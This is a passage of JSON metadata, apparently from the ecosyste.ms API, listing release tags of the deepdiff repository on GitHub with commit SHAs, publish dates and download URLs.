1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/7.0.1/manifests"},{"name":"6.7.1","sha":"89c5cc227c48b63be4a0e1ad4af59d3c1b0272d7","kind":"commit","published_at":"2023-11-14T07:16:07.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.7.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.7.1/manifests"},{"name":"6.6.0","sha":"17f34a7fe2dad13911dd7d3a54eb1cf95a183cc4","kind":"commit","published_at":"2023-10-04T22:43:49.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.6.0/manifests"},{"name":"6.4.1","sha":"888ca776a21cecb243ccf283ce29347bb4897c34","kind":"commit","published_at":"2023-09-01T16:44:00.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.4.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.1/manifests"},{"name":"6.4.0","sha":"01260075e4f043116bf3d8c87c56458b89ee4707","kind":"commit","published_at":"2023-09-01T00:25:28.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.4.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.0/manifests"},{"name":"6.3.1","sha":"cb31948b5c8ed295c9720fbf3cf2b9f8073acd14","kind":"tag","published_at":"2023-07-06T14:27:45.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.3.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.1/manifests"},{"name":"6.3.0","sha":"d2b5ec6487b6720faaa4f778309611e30b554387","kind":"commit","published_at":"2023-03-17T18:27:19.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.0/manifests"},{"name":"6.2.3","sha":"1353b723f8faa3271d7572f0a54c5074547e257d","kind":"tag","published_at":"2023-01-06T05:00:31.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.3/manifests"},{"name":"6.2.2","sha":"277ed776d9fcffbe21ac2052e5097268cbb589b7","kind":"tag","published_at":"2022-12-11T22:15:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"093949f7be4f3e6fecf38a35b3a535955a8c6beb","kind":"commit","published_at":"2022-10-18T00:56:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.1/manifests"},{"name":"6.1.0","sha":"e916b5f6c607a722f3ace9d84189688a808ab37b","kind":"commit","published_at":"2022-08-28T02:48:24.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"ca8e58ee0a4fb9c855ef6c925d3c86227c538d4b","kind":"commit","published_at":"2022-08-14T01:49:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.0.0/manifests"},{"name":"v5.8.2","sha":"81341e2827d083429bcdfb4617cd40e1188bbdb7","kind":"commit","published_at":"2022-05-17T06:26:05.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v5.8.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v5.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v5.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.2/manifests"},{"name":"v5.8.1","sha":"9b70b2b5f17e345cb00aef74db7169b53f0c22e8","kind":"commit","published_at":"2022-05-13T06:41:53.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v5.8.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v5.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v5.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.1/manifests"},{"name":"5.8.0","sha":"9c4dade2deae01307f4fd4ecf8a917d7fdbc5375","kind":"tag","published_at":"2022-04-10T06:23:13.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.8.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.8.0/manifests"},{"name":"5.7.0","sha":"f2ffdb83b2993f4f0bb7e854620f0acd0bf6339e","kind":"tag","published_at":"2021-12-17T19:12:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.7.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.7.0/manifests"},{"name":"5.6.0","sha":"06faa820bb83b1eac2e466b44e30dc86307895cc","kind":"commit","published_at":"2021-10-13T06:31:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.6.0/manifests"},{"name":"5.5.0","sha":"bc1ab6ae1332de93039e65ac280045674987fc5d","kind":"commit","published_at":"2021-04-29T06:20:59.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.5.0/manifests"},{"name":"5.3.0","sha":"2b04c553d3ed9f27a99ffe965450c2e7c2336da6","kind":"commit","published_at":"2021-04-16T23:16:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.3.0/manifests"},{"name":"5.2.3","sha":"5b66b96f1fa63f8ecc3b267e4a65c552df7d0190","kind":"commit","published_at":"2021-02-16T20:18:34.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.3/manifests"},{"name":"5.2.2","sha":"c6fa94ff7987eed0254e7bb124831cfda3b00fa7","kind":"commit","published_at":"2021-01-15T03:16:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.2/manifests"},{"name":"5.2.1","sha":"2451bf36f88b33c834cac493697dc6f1296c65af","kind":"commit","published_at":"2021-01-01T07:41:51.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.1/manifests"},{"name":"5.0.2","sha":"df5f49046b3c39673003968fc484a6a733b24abc","kind":"commit","published_at":"2020-07-23T17:46:48.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.0.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.2/manifests"},{"name":"5.0.0","sha":"15a99abefd93de22367f1bb9fec228b4dd0675f6","kind":"commit","published_at":"2020-06-23T04:19:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.0/manifests"},{"name":"4.3.2","sha":"af1a0d4b4d5ea91e65d306e28ed4297718b77a9a","kind":"commit","published_at":"2020-03-19T01:55:43.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.3.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.2/manifests"},{"name":"4.3.1","sha":"3b3a067c43f775549a01f76a0e62b96233b5e7f4","kind":"commit","published_at":"2020-03-11T21:44:21.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.3.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.1/manifests"},{"name":"4.2.0","sha":"9b09935cd46b784529667135463c4f4a29a60bd3","kind":"commit","published_at":"2020-01-30T21:32:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.2.0/manifests"},{"name":"4.0.7","sha":"269fa49e86d9c160d925376ce1239d7504a8f330","kind":"commit","published_at":"2019-07-12T23:05:12.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.7","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.7/manifests"},{"name":"4.0.6","sha":"a66879190fadc671632f154c1fcb82f5c3cef800","kind":"commit","published_at":"2019-04-13T01:06:22.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.6","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.6/manifests"},{"name":"4.0.5","sha":"fa3b37399ef53d9cc75f81ca6a8e7e4f3c1a516b","kind":"commit","published_at":"2019-04-07T07:46:58.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.5","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.5/manifests"},{"name":"4.0.4","sha":"b6afc83cd47296b0a1d68437a7b1fdd1a689659c","kind":"commit","published_at":"2019-04-05T06:55:41.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.4","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.4/manifests"},{"name":"4.0.0","sha":"885a5d5fb16622a4fce1e79bb273dd8d44a6704f","kind":"commit","published_at":"2019-03-19T10:18:57.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.0/manifests"},{"name":"v3.3.0","sha":"103a20192aa1c900863db327bd522c04418de94a","kind":"tag","published_at":"2017-06-30T21:47:42.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"d4918e17c555df1b46827f865c5c105097199f80","kind":"tag","published_at":"2017-05-29T05:49:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"257c3b46f4cc4c7f1769e85f98e96a7c18307b0e","kind":"tag","published_at":"2017-04-12T18:00:16.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.0/manifests"},{"name":"v3.1.2","sha":"2e2f1621d2a6d28d7449431fa60b507046420127","kind":"tag","published_at":"2017-03-10T01:45:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.1.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"49ec7cfce26e240ec9ac09d75bfbe3f680773bf7","kind":"tag","published_at":"2017-03-04T21:49:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.1/manifests"},{"name":"v3.0.0","sha":"4c67c0491c95c7b86ab109a75110112dea789303","kind":"tag","published_at":"2017-01-27T18:13:02.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.0.0/manifests"},{"name":"v2.5.3","sha":"ec30c3d58400fdc3116992477aa3983acc9614bb","kind":"tag","published_at":"2016-12-05T20:03:35.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.3/manifests"},{"name":"v2.5.2","sha":"2a5ee8da0b08e0e37bb6a764507c0382e25b4c97","kind":"tag","published_at":"2016-12-05T03:45:03.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.2/manifests"},{"name":"v2.5.0","sha":"da3333f27043fb6906358b7b7136e8d09a5f8d9c","kind":"tag","published_at":"2016-08-18T01:42:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.0/manifests"},{"name":"v2.1.2","sha":"877234a77465617d5118f1638aff28400ee90fd8","kind":"tag","published_at":"2016-08-09T23:11:28.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"086f0fe9d69c861f5a01975360ece0b5e3aa76c0","kind":"tag","published_at":"2016-08-08T18:13:42.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"fc836f7a0a7afe4d07220fe33c97e30f792a29ba","kind":"tag","published_at":"2016-08-08T08:22:07.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.0/manifests"},{"name":"v1.5.0","sha":"f021f517e52d4230d245cb6d1b994c2184f02e6a","kind":"tag","published_at":"2016-07-02T01:40:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.5.0/manifests"},{"name":"v1.2.0","sha":"b9ce621ad237842b762e178c2fdd70042f235de8","kind":"tag","published_at":"2016-06-12T02:19:38.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.2.0/manifests"},{"name":"v1.0.1","sha":"8d1267e9df7faf439eea0662be493a333b40beda","kind":"tag","published_at":"2016-03-15T20:49:45.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.0.1","dependencies_parsed_at":n